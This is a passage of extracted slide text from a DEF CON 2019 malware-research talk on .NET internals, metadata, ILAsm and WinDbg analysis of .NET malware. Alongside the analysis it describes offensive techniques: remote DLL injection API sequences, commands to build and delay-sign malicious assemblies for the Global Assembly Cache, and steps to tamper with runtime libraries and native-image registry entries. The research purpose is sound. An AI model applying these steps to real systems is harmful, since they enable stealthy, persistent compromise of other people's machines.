inject a code because the steps are the same ever-sequence: CreateToolhelp32Snapshot( ) Module32First( ) Module32Next( ) comparison (wcscmp( )) VirtualAllocEx( ) WriteProcessMemory( ) CreateRemoteThread( ) WaitForSingleObject VirtualFreeEx( ). Find the offset of injected DLL from the base module (any testing module). Use this offset to invoke functions from any injected remote process through GetProcessAddress( ) + CreateRemoteThread( ). Thi injected DLL can load the next stage and, eventually, decrypt it. Obviously, the .NET managed code can be loaded from any process or, even worse, from an natived injected code (DLL). After loading it, it is easy to execute it. Our simple case above. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 8 We should remember that a typical native application can also load a .NET runtime and execute a managed code: CLRCreateInstance( ): provides the ICLRMetaHost interface. ICLRMetaHost::GetRunTime( ): gets the ICLRRuntimeInfo. ICLRRuntimeInfo::GetInterface( ): Loads the CLR into the current process and returns runtime interface pointers. ICLRRuntimeHost::ExecuteApplication( ): specifies the application to be activated in a new domain. ICLRRuntimeHost::Start( ): starts the the runtime. ICLRRuntimeHost::ExecuteInDefaultAppDomain( ): invokes a method in the .NET managed assembly (this steps does not work for all .NET assembly’s method). Thus, in this case, starts the managed assembly. Finally, the real infection starts. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 9 We know that .NET malware samples can be very complicated to analyze when packed and obfuscated. The .NET framework is composed by: CLR (Common Language Runtime), which is the .NET engine. Libraries (System.IO, System.Reflection, System.Collections, ...). Basically: source code is written in C#, F#, VB.NET and Powershell. compiled to CLI (Common Language Infrastruture Code). executed by the CLR. Tools used to reverse and analyze .NET malware threats are completely different than ones used to reverse native language: dnSpy (excellent) ILSpy (excellent) RedGate .NET Reflector De4dot (deobfuscator) Microsoft Visual Studio WinDbg (including SOS.dll extension) DotPeek IDA Pro Microsoft ILASM/ILDASM (Intermediate Language Assembly/Disassembler) ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 10 Other interesting tools to analyze and understand .NET runtime are available: MemoScope.Net: https://github.com/fremag/MemoScope.Net Shed -- a .NET runtime inspector: https://github.com/enkomio/shed SuperDump, for automated crash dump analysis: https://github.com/Dynatrace/superdump DumpMiner: https://github.com/dudikeleti/DumpMiner MemAnalyzer: https://github.com/Alois-xx/MemAnalyzer Sharplab: https://sharplab.io/ ObjectLayoutInspector to analyze internal structures of the CLR types at runtime (https://github.com/SergeyTeplyakov/ObjectLayoutInspector) Tools are excellent to help us, but most .NET malware threats have deployed the same tricks from native code to make our job harder: packers, obfuscation and anti-reversing techniques. .NET Reactor Salamander .NET Obfuscator Dotfuscator Smart Assembly CryptoObfuscator for .NET Agile ArmDot babelfor.NET Eazfuscator.NET Spice.Net Skater.NET ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 11 There are many obfuscators, which perform: Control flow obfuscation and Dead/Junk code insertion. Renaming: methods signatures, fields, methods implementation, namespaces, metadata, external references. Re-encoding: changing printable to unprintable characters Simple encryption of methods and strings. Cross reference obfuscation. Yes, I know... I’ve already talked about obfuscation in DEF CON China 2019. Most time, the real and encoded malicious code (payload) is downloaded and decrypted/loaded into the memory for execution: System.Reflection.Assembly.Load( ) System.Reflection.Assembly.LoadFile() System.Reflection.MethodInfo.Invoke( ) As we already know, Load( )/LoadFile( ) function are usually followed by: GetType ( ) GetMethod( ) Invoke( ) (this is a typical Reflection approach) ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 12 Another possible approach would be: GetAssemblyName( ) + GetType( ) + GetMethod( ) + Invoke( ) Some “encrypted content” is loaded from as a resource, so it is usual finding the following sequence: FindResource( ) + SizeOfResource( ) + LoadResource( ) + LockResource( ) Resources.ResourceManager.GetObject( ) Additionally, we’ve seen techniques using embedded references such as DLLs as resources through a sequence of calls using: AssemblyLoader.Attach( ) + AssemblyLoader.ResolveAssembly( ). As you’ve guessed, AssemblyLoader.ResolveAssembly( ) is used to resolving assemblies that are not available at the exact time of calling other methods, which are external references to the binary itself. Similar to resources mentioned previously, these “external references” (DLL required by the binary) must be first “decompressed” at most of the time. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 13 ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 14 ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 15 MemberRef Table (check slide 27) ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 16 Manifest ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 17 As every single malware code, this one is using Reflection to retrieve information in runtime. In this case also calls the GetExecutingAssembly( ) method to get the Assembly object, which represents the current assembly. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 18 Therefore, we can extract these resources (DLLs, for example) by using either dnSpy or ILSpy , decrypt and load them again into the managed code. Of course, in this case, we’ll be able to see all “hidden” references, finally. To load the “decrypted” resources into the managed code, we can use ILSpy + Reflexil plugin (http://reflexil.net/). Finally, it is necessary to remove the “old” references to the embedded resources (performed by AssemblyLoader.Attach( )) from the initializer (or removing the whole initializer) because, at this time, they are “decrypted”. By the way, Reflexil is able to handle different obfuscators such as Babel NET, CodeFort, Skater NET, SmartAssembly, Spices Net, Xenocode, Eazfuscator NET, Goliath NET, ILProtector, MaxtoCode, MPRESS, Rummage, CodeVeil,CodeWall, CryptoObfuscator, DeepSea, Dotfuscator, dotNET Reactor, CliSecure and so on. Another interesting point is that calling Win32 APIs through P/Invoke (Platform Invoke) is always possible. At end, gaining knowledge in .NET internals and metadata can be interesting. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 19 Most time, there are module/type initializers (similar to TLS in native code) executing before classes and entry point methods. .NET protectors hardly change the entry point and, usually, the trick is in the initializer. .cctor( ) method is a static class constructor: called before the Main( ) method (usually set as entry point), for example. when the module has a .cctor (<Module>::.cctor( )), so it is run before executing any other class initializers or even an entry point. It is common finding unpackers, decrypters and hooks in the .cctor( ) method. Hijacking the ICorJitCompiler::compileMethod( ) is an interesting and useful way to take the control of the JIT engine because this method is used to create a native code, so we find managed and native code together. In this case: .cctor( ) hooking compileMethod( ) hiding/encryting user code. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER .NET details DEF CON USA 2019 20 ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 21 Malware authors have written malware threats in ILAsm and using constructions that are not compliance to CLS (Common Language Specification). In this case, the malware is valid to the runtime engine, though it is not always able to communicate to other applications. Metadata works as descriptors for each structure component of the application: classes, attributes, members, and so on. Remember that a .NET application is composed by: managed executable files, which each one contains metadata managed code (optionally) .NET Assembly: managed .NET application (modules) + class libraries + resources files (more information later) CLR runtime environment: loaders + JIT compiler. .NET source code .NET compiler module (IL + metadata) CLR ( loaders + JIT compiler) native instruction Execution Engine ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 22 Managed module is composed by: PE header: If the module contains only IL code, so most of information of header is ignored. However, if the module also contains native code, so things are different. CLR header: contains the version of the CLR, token of Main( ) (natural entry poiint), resources and so on. Metadata: describe types and members. Additionally, it helps the GC to track the life time of objects. IL (Intermediate Language) code: the managed code. Managed Modules Resource Files Compiler (C#, VB, F#) + Linker Managed Modules Resource Files Manifest .NET Assembly (.exe or .dll) ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 23 PE Header Native Code / Data CLR Header CLR Data (ILcode, metadata, managed resources) DOS Header PE Header Data Directories (size and location of CLR header) Section Headers .text (includes MSIL and metadata) .idata .data Remaining sections DEF CON USA 2019 24 CLR Header is represented by a structure named IMAGE_COR20_HEADER (defined in CorHdr.h). The CLR header + data holds information such as: Metadata information (size and RVA). Token of the entry point of the image file (EntryPointTokenField). Array of v-table fixup Table (used when a managed method is called from an unmanaged code). Each entry of a v-table holds a token of the target method. Resource information (size and RVA) Flags indicating: 32 bits only. strong assembly entrypoint of a native code. Managed resources in contained into .text section (and not .rsrc section). ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 25 Metadata is composed by tables such as: Definition tables: ModuleDef, TypeDef, MethodDef, FieldDef, ParamDef, PropertyDef and EventDef Reference tables: AssemblyRef, ModuleRef, TypeRef and MemberRef. Manifest tables: AssemblyDef, FileDef, ManifestResourceDef and ExportedTypesDef. Most malicious .NET malware samples have: Used code manipulation (encryption/decryption) in .ctor( )/.cctor( )/Finalize( ) Called unmanaged functions from DLLs using P/Invoke. Used COM components (very usual). Even a trivial .NET malware, the managed code can be small. (ILDasm.exe View Statistics) ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 26 ILDasm View MetaInfo Show! menu: ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 27 ILDasm.exe View Statistics ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 28 Metadata describes all declared or referenced data in a module such as classes, members, attributes, properties and relationships. Metadata is organized as a relational database using cross-references and making possible to find what class each method comes from. Metadata are represented by named streams, which are classified as metadata heaps and metadata tables. slot 1: Class A -- methods at slot 1 slot 2: Class B -- methods at slot 3 slot 3: Class C -- methods at slot 5 slot 4: Class D -- methods at slot 6 slot 5: Class E -- methods at slot 8 slot 1: Method 1 - Classe A slot 2: Method 2 - Classe A slot 3: Method 1 - Classe B slot 4: Method 2 - Classe B slot 5: Method 1 - Classe C slot 6: Method 1 - Classe D slot 7: Method 2 - Classe D slot 8: Method 1 - Classe E ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 29 Metadata heaps: GUID heap: contains objects of size equal to 16 bytes. String heap: contains strings. Blog heap: contains arbitrary binary objects aligned on 4-byte boundary. There can be 6 named streams: #GUID: contains global unique identifiers. #Strings: contains names of classes, methods, and so on. #US: contains user defined strings. #~: contains compressed metadata stream. #-: contains uncompressed metadata stream. Blob: contains metadata from binary objects. An important note: compressed and uncompressed named streams are mutually exclusive. Metadata heaps: The schema defines the metadata tables by usings a descriptor. There are more than 40 metadata tables. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 30 RID (record identifiers) are used as row indexes in metadata tables. Tokens determines which metadata tables are been referred. Tokens have 4 bytes, which the first byte determines the metadata table and the three remaining bytes are the RID. Unfortunately, tokens don’t cover all table (auxiliary tables, which are hardcoded). 0(0x0): Module 1(0x1): TypeRef 2(0x2): TypeDef 3(0x3): FieldPtr 4(0x4): Field 5(0x5): MethodPtr 6(0x6): Method 7(0x7): ParamPtr 8(0x8): Param 9(0x9): InterfaceImpl 10(0xa): MemberRef 11(0xb): Constant 12(0xc): CustomAttribute 13(0xd): FieldMarshal 14(0xe): DeclSecurity 15(0xf): ClassLayout 16(0x10): FieldLayout 17(0x11): StandAloneSig 18(0x12): EventMap 19(0x13): EventPtr 20(0x14): Event 21(0x15): PropertyMap 22(0x16): PropertyPtr 23(0x17): Property 24(0x18): MethodSemantics 25(0x19): MethodImpl 26(0x1a): ModuleRef 27(0x1b): TypeSpec 28(0x1c): ImplMap 29(0x1d): FieldRVA 30(0x1e): ENCLog 31(0x1f): ENCMap 32(0x20): Assembly 33(0x21): AssemblyProcessor 34(0x22): AssemblyOS 35(0x23): AssemblyRef 36(0x24): AssemblyRefProcessor 37(0x25): AssemblyRefOS 38(0x26): File 39(0x27): ExportedType 40(0x28): ManifestResource 41(0x29): NestedClass 42(0x2a): GenericParam 43(0x2b): MethodSpec 44(0x2c): GenericParamConstraint ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 31 ILDasm.exe View Statistics ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 32 IDAasm View MetaInfo RawHeap ILDasm View MetaInfo Show! ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 33 The JIT compiler stores the native instructions in the memory, which it is discarded after the application terminates. Eventually, we can perform a memory dump to examine this code. Check the installed .NET version: Subdirectories under C:\Windows\Microsoft.NET clrver.exe clrver.exe -all Programming directly in IL (Intermediate Language) can be interesting because: IL is stack based, so we don’t find any instruction related to register manipulation. It is too easy to check, reverse it (ILDasm.exe) and make “customizations”. Ngen.exe can be used to compile IL instructions to native code. Of course, CLR checks some details (CLR version, CPU type, Windows version, and so on) before executing it. The compiled application can be slower. Eventually, malware threats have attacked the .NET runtime to subvert the system. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 34 In .NET applications: .NET Assembly managed .NET application (modules) + class libraries + resources files In malware samples, we usually find that resources are encrypted binaries and DLLs. contains information such as version, publisher, culture and exported files. Remember that the application can download assembly files from a URL (codeBase element). .NET malware have used multi-file assemblies, partitioning types over different files. Unfortunately, it is only possible to create multfile assembly in the command line. Few malware authors have create .NET malware containing different types: such as C# and VB in the same assembly. The manifest also holds metadata tables containing the names of files that are part of the assembly: AssemblyDef, FileDef, ManifestResourceDef and ExportedTypesDef. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 35 Assemblies can be classified as: private: it is specific of an application and deployed at same directory. shared: it is shared and used by other applications. All memory requested by the assembly is really “managed” by CLR, which “interfaces” this request to the operating system. Therefore, the CLR is able to control the access to different objects in the memory between the application domains (like processes), which are representing the code of assemblies. Of course, there are permited methods to cross-access requests between application domains through proxy objects by marshalling objects either by value or by reference. As we’ve mentioned previously, manifest is a kind of file to “wrap up everything”, describing modules, resources and other details of the assembly. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 36 Compile multi-file .NET malware is pretty easy: csc.exe /t:module hooking.cs csc.exe /t:module injection.cs csc.exe /out:malwarelib.dll /t:library /addmodule:hooking.netmodule /addmodule:injection.netmodule Defcon.cs In this case, we have a multi-file assembly: includes a managed module named hooking.netmodule and injection.netmodule. The output file is a DLL named malwarelib.dll a manifest file wrapping everything. This compiling command add the hooking.mod file to the FileDef manifest metadata table and the its exported types to the ExportedTypeDef manifest metadata table. To check: ILDasm View MetaInfo Show! and look for the FileDef and ExportedTypeDef tables. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 37 Native modules referred by the assembly. The module name is in the ModuleRef. External assemblies that referred by the assembly (AssemblyRef table). Manifest Used when a strong assembly is specified. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 38 Assembly name Custom attributes used by the compiler (or tools) and defined in the CustomAttribute metadata table (0x0C). CALG_SHA1 ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 39 Managed Resources (ManifestResource metadata table) other attributes Globally unique identifier. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 40 Of course, we could have a “big malware module” to use in projects: al.exe /out: BigMalwareLib.dll /t:library hooking. netmodule injection. netmodule csc.exe /t:module /r:BigMalwareLib.dll Defcon.cs al /out:Defcon.exe /t:exe /main:Defcon.Main Defcon.netmodule In this case, the __EntryPoint() global function will contain the Defcon::Main( ) function call (check the IL code to confirm it). Finally, using csc.exe /resource makes simple to add resources (generated by resgen.exe , for example). It updates the the ManifestResourceDef table. It is not necessary to mention that malware’s authors usually don’t write strong assemblies, which as signed with the private/public key pair from the publisher. Unless that this key pair has been stolen... csc.exe /out:TestProgram.exe /t:exe Program.cs sn.exe -k AlexandreBorges.snk sn.exe -p AlexandreBorges.snk AlexandreBorges.PublicKey sha256 Sn.exe -tp AlexandreBorges.PublicKey csc.exe /out:TestProgram.exe /t:exe /keyfile:AlexandreBorges.snk Program.cs ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 41 Public key generated by: sn.exe -p AlexandreBorges.snk AlexandreBorges.PublicKey sha256 ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 42 Once the system is compromised through a native malware and we have access to the system as administrator, so it is possible to copy our .NET assembly to the Global Assembly Cache (GAC). The Registry is not changed. Once a malicious .NET assembly (first stage, as a resource library) is copied to GAC, so it can be accessed by other assemblies. Thus, other malicious .NET malware samples (second stage) can access methods and types from the first stage. Only strong assemblies (signed) can be copied to the GAC (located at C:\Windows\Microsoft.NET\assembly) by using GACUtil.exe /i command. Futhermore, including /r option integrates the assembly with the Windows install engine. Unfortunately, the GACUtil.exe is not available in home-user systems, but it is possible to use the MSI to install the malware threat into the GAC. At end, it is still feasible to using delay signing, which is a partial signing only using the public key. Therefore, private key is not used (and there isn’t real protection). ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 43 The delay signing allows that the malicious assembly to be installed into the GAC and, worse, other assemblies can make reference to it. csc.exe /out:malware.dll /t:exe Program.cs sn.exe -k AlexandreBorges.snk sn.exe -p AlexandreBorges.snk AlexandreBorges.PublicKey sha256 sn.exe -tp AlexandreBorges.PublicKey csc.exe /out:malware.dll /t:exe /keyfile:AlexandreBorges.PublicKey /delaysign Program.cs sn.exe -Vr malware.dll (CLR trust in the assembly without using the hash). It is not so hard to perform a supply-chain attack because, when a files is specified as reference in the csc.exe compiler using /reference switch, it looks at: the working directory csc.exe directory directory specified by the /lib switch directory specified by the LIB environment variable. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 44 Several malware samples have been modified or written directly in ILAsm to bypass common tools. While ILAsm is not complicated, maybe it is still recommended to remember few directives and instructions. .assembly DefCon { }: identifies the current assembly as being DefCon. .assembly extern <assemblyname>: determines the external managed assembly used by the program. For example, .assembly extern <mscorlib> .module malware.dll: identifies the current module. .namespace Conference: identities the namespace, but it does not represent a metadata. .class public auto ansi Hacker entends [mscorlib]System.Object. Its keywords; .class: identifies the current class (Hacker) public: specifies the visibility. For example, it could be “private”. auto: determines the class layout style. It could be “explicit” and “sequencial”. ansi: string encode while communicating to unmaged code. Other values are autochar and unicode. extends: determines its base class ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 45 Other flags for .class directive are: private: used with private classes, which are not visible outside the current assembly. sealed: the current class can’t be derived from this class. abstract: the current class can’t be instantiated (it holds abstract methods). explicit: the loader preserve the order of fields in the memory. sequential: the loader preserves the order of the instance fields as specified in the class. nested family: the class is visible from the descendants of the current class only. nested assembly: the class is visible only from the current assembly. nested famandassem: the class is visible from the descendants of the current class, but residing in the same assembly only. windowsruntime: the class is a Windows runtime type. .class public enum Exam: declares a class enumeration named “Exam”. .ctor( ): instance constructor, which is related to instance fields. .cctor( ): class constructor (known as type initializer), which is related to static fields. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 46 During malware analysis, take care: there can be a global .cctor directive, which it is related to global fields. call: call a method. Its possible keywords: return type: void, int32, and so on. vararg: variable number of arguments calli: directive used to call methods indirectly by taking arguments + function pointer. ldc.i4.0 ldc.i4.1 ldc.i4.2 ldftn void DefCon::Test(int32, int32, int32) calli void(int32, int32, int32) (method reference): call instance void DefCon::Exam(int32, int32, int32) call instance [.module malware.dll]::Hooking(int32, int32, native int) ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 47 .field: specifies a variable of any type declared directly in the class (or struct). Its main keywords can be: public / assembly / family (accessed by any decending class) / private static (shared by all instances of the referred class). .method: specifies the method declaration. Its main keywords (flags) can be: public / static: similar meaning as especified in “field” explanation above. cil managed: it means this method is represented in managed code. newslot: creates a new slot in the virtual table of the class to prevent that a existing method (same name and signature) to be overriden in a derived class. native unmanaged: it means this method is represented in a native code. abstract: of course, no implementation is provided. final: as known, the method can’t be overridden. virtual: method can be “redefined” in derived classes. strict: this method can only be overridden whether it is accessible from the class that is overriding it. Of course, the method must be virtual. noinline: it is not allowed to replace calls to this method by an inline version. pinvokeimpl: declares an unmanaged method from a managed code (it’s is also known as P/Invoke mechanism). ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 48 .method public hidebysig static pinvokeimpl("user32.dll" winapi) int32 FindWindow(string,string) cil managed preservesig preservesig: return of method must be preserved. FindWindows(string,string): function invoked from the “user32.dll” and that returns a int32 value. .class public DefCon implements InterfaceA,InterfaceB { .method void virtual int32 IfB_Speaker(string) { .override InterfaceB::Speaker ... } .class public DefConChina extends DefCon { .method public specialname void .ctor( ) { ldarg.0 call instance void DefCon::.ctor( ) ret } callvirt instance void DefCon::IfB_Speaker( ) ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 49 .entrypoint: identifies the method as the entry point of the assembly. .maxstack: defines the maximum stack depth used by the function code .locals int: defines the local variable of the current method and the “init” keyword is initializing the variable with “zero” (for example, a integer variable). .data <var_1>: defines a data segment named “var_1”. stloc <var>: retrieves the value returned by the call and stores into the “var” variable. ldarg.0: Load argument 0 onto the stack. ldloc <var>: copies the value of “var” onto the stack. Variants, after optmization and run, such as ldloc.0, ldloc.1, ldloc2 and ldloc3 (representing the first local variables) are possible. ldstr: loads the reference to a string onto stack. ldsflda: loads the reference of a static field onto the stack. ldsfld: loads the value of a static field onto the stack. ldc.i4 8: loads the constant value 8 onto the stack. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 50 br Borges: its unconditional jump similar to “jmp” in native assembly. In this case, jumping to “Borges” label. brtrue DefCon: takes an item from stack and, if it is zero, so jump to “Alex” branch. brfalse Alex: takes an item from stack and, if it is one, so jump to “Alex” branch. .this: it is a reference to the current class (not instance of the class like C++). .base: it is a reference to the parent of the current class. .typedef: creates a alias to a type. .try / catch: the same meaning of traditional C language. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 51 auto: loader defines the “best lay out” in the memory” nested and sealed class! specialname flag helps the loader to understand this is a special function (constructor) Remember that a field is a variable of any type that is declared directly in a class or struct. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 52 instance constructor load argument 0 onto the stack. reserving 8 slots for arguments. push 0 onto stack as int32. loads a string reference onto stack. replaces the value of a field with a value from stack. Using a custom attribute statement to set the value of CompilerGeneratedAttribute . ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 53 Invoking an unmanaged methods. Declares a private class. Defines an initially runtime zeroed local variable (type class) of the current method. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 54 It calls a virtual method, which can be overriden the the derived class). It loads -1 onto the stack. Calls a static method GetCurrentProcess( ) method from Process class (within namespace System.Diagnostics) and returning an instance of Process class. Duplicate the value of the top of the stack. legal instructions to way out of a “try block.” ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 55 It seems that someone is interested in our typed information. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 56 family: can be accessed by any class descending from the current one. ldfld: loads the instance field onto the stack. ldsfld: loads the static field onto the stack. Event declaration. We should remember that all events must have a subscribing method (.addon ) and a unsubscribing method (.removeon), at least. Cleaning up ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 57 Declaring three local class variables in three different slots: 0, 1 and 2. We should remember that, eventually, slots of same type can be reused. However, it is another talk... ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 58 Finally, when the publisher calls the Invoke method of the aggregate delegate, so the event is raised. Delegates are references representing “type-safe” function pointers. Thus, Combine( ) adds callback function pointers to an aggregate, which is used to implement the event. Generic Delegate! Compares the second and third arguments and, if it’s equal, replace the first argument (!!0&). ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 59 turn off compile optimization and not allow put this function as inline. calling several instance contructors calling the virtual method ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 60 pushes a null references onto the stack converts to int64 and pushes it onto the stack converts to int32 and throws an exception when overflow declares and initializes the local variable Function used to decrypt strings loads the local variable onto stack. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 61 As mentioned previously, a managed assembly can be compiled into a native image and installed by using Ngen.exe, but the managed assembly is still necessary. DLL loaded from the Global Assembly Cache can and need to be monitored to detect strange behavior. Tools to log the DLL loading such as Fuslogvw.exe (Assembly Bind Log Viewer) and common applications such as Process Monitor can help us. Of course, .NET malware threats can try to compromise the .NET runtime class libraries and JIT, which would cause a deep infection in the system and demand a detailed investigation because: changing a runtime library (at IL code) can be lethal to many applications. it is feasible to change (hooking)/replace a runtime library. changing a runtime library allows the threat to “break” some strict rules. Changing JIT cause same problems, but it is harder. Remember about basics: copy DLL from GAC dnSpy/Reflector + Reflexil ildasm change ilasm Ngen copy back to GAC (malware dropper can accomplish this task) ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 62 Of course, nothing is so simple: If the malware’s target is a DLL from .NET runtime, so it is digitally signed and it would be necessary to have the private key to sign it. Unfortunately, we don’t have. Another option would be to generate a new pair of keys and re-sign all the DLL Framework. Unfortunately, it is so much work. Copying a modified runtime DLL over the existing one can be difficult or almost impossible because other programs can be using it. Thus, we should stop programs and services to accomplish this task. Eventually, it is necessary to reboot the machine (urgh!) to perform this copy from a script. Using the new and modified DLL can be tricky: uninstall the existing native library (ngen uninstall <dll>) and remove it from its respective directory under NativeImages_<version> directory. There are other many tricks such as dropping an assembly into C:\Windows\System32 or Syswow64)\Tasks\Tasks.dll (hint from Casey Smith) ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 63 An alternative would be change the Registry. In this case, the GAC continue being associated to the original (and untouched) assembly, while its associated native image is changed to the modified version. In this case: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesInd ex\v2.0.50727_64\IL key holds information (name + signature key) about the original assembly. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesInd ex\v2.0.50727_64\NI key would hold information (name + MVID) about the modified native image. Using the MVID from NI key makes simple to locate the native image. Thus, we can either override the native image with a modified version or change the MVID entry to point to another native image. GAC (old .NET assemblies) / GAC_32 (IL and x86) / GAC_64 (IL and x64) / GAC_MSIL (IL code) directories are under C:\Windows\Assembly directory. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 64 Most of the time, .NET malwares attacking the .NET libraries try either to remove some check or introduce hooking points at entry or exit of a method. In this case, System.Reflection is commonly used. Additionally, there are cases of .NET malware threats attacking applications and the service management offered by System.ServiceProcess.ServiceBase class and their associated method such as OnStart( ), OnStop( ), Run( ), ServiceMain( ) and so on. Modifying a target code for changing the execution flow demands inserting references (.assembly extern directive) to signed libraries (version + public key) to be able to access member and call methods. Of course, we should remember to increase the stack (.maxstack). At end, we have multiple types of attacks from a malicious managed code by establishing a C2, intercepting communication with trusted websites, opening shells, gathering system information, launching native second stage droppers, intercepting filesystem communication, stealing information and so on. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 65 WinDbg is always an excellent tool to understand a .NET malware in a better way or even getting a basic understanding, at least. Install SOSEX extension: Download it from http://www.stevestechspot.com/downloads/sosex_64.zip or http://www.stevestechspot.com/downloads/sosex_32.zip Unpack it and copy to your WinDbg installation directory. For example: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64|x86 Attach the WinDbg to either a running application (the .NET malware) or a saved dump. Remember that the CLR process is composed by: System Domain Shared Domain Default Domain code running at this domains can’t access resources in another application domain. v ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 66 0x25B05A: Entry Point from dumpbin /headers malware1.exe Remember: Malware execution Win loaders find the PE’s entry point Jump to mscoree.dll Call to CorExeMain Return to assembly’s entry point. Disassembling CorExeMain( ) from the start. We could have used before this point: sxe ld mscorwks.dll ; g ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 67 Listing domains of the CLR process. As it’s commented previously. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 68 Used assemblies tell us a bit about the application. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 69 Checks managed exception in each thread. switch to the thread 5 managed threads: 0, 2 , 5, 10 and 14 ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 70 Check the managed stack trace for this thread. switch to the thread 0 ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 71 Get a list of managed threads. Of course, we could used the -special option to get additional information. Checks the unmanaged stack trace for this thread. COM Threading Model: STA: Single Thread Apartment MTA: Multi Thread Apartment Threat state: (0x0) Newly initialized thread. (0x020) It can enter a Join. (0x200) background thread. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 72 Check if the instruction pointer address belongs to the JIT code and find the Method Descriptor Disassembling the code ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 73 Checks the managed stack Display information about the MethodDesc structure Dump the MethodDesc structure at this address. Method definition. Remember: Metadata token is composed by a Table Reference (1 byte) and a Table Index (3 byte). ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 74 Displays information about the EEClass structure associated with a type ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 75 dumps the object content, but in this case it is a value type. Class ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 76 Dump information about the Method Table Dump information about the Method Table and display a list of all methods. Code is PreJIT compiled Type definition EEClass data structure is similar to the method table, but it stores fields that are used less frequently. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON 